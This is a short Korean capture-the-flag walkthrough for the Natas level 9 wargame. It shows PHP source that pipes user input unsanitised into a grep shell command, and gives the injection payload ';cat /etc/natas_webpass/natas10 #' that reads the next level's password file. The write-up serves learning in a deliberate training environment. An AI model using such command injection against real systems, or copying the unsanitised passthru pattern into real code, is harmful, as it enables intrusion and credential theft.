이번에도 소스코드를 보여준다:
<?
$key = "";
if(array_key_exists("needle", $_REQUEST)) {
$key = $_REQUEST["needle"];
}
if($key != "") {
passthru("grep -i $key dictionary.txt");
}
?>
넣은 값이 $key에 들어가고, "grep -i 넣은값 dictionary.txt" 명령어를 실행하여 결과를 보여준다.
경험으로 /etc/natas_webpass/natas10에 natas10의 패스워드가 저장되어 있음을 알고있고
dictionary.txt 대신 natas10 파일을 읽는다면 다음 계정의 패스워드를 획득할 수 있을 것이다:
;cat /etc/natas_webpass/natas10 #
위의 쿼리를 전송하면 natas10 계정의 패스워드를 얻을 수 있다.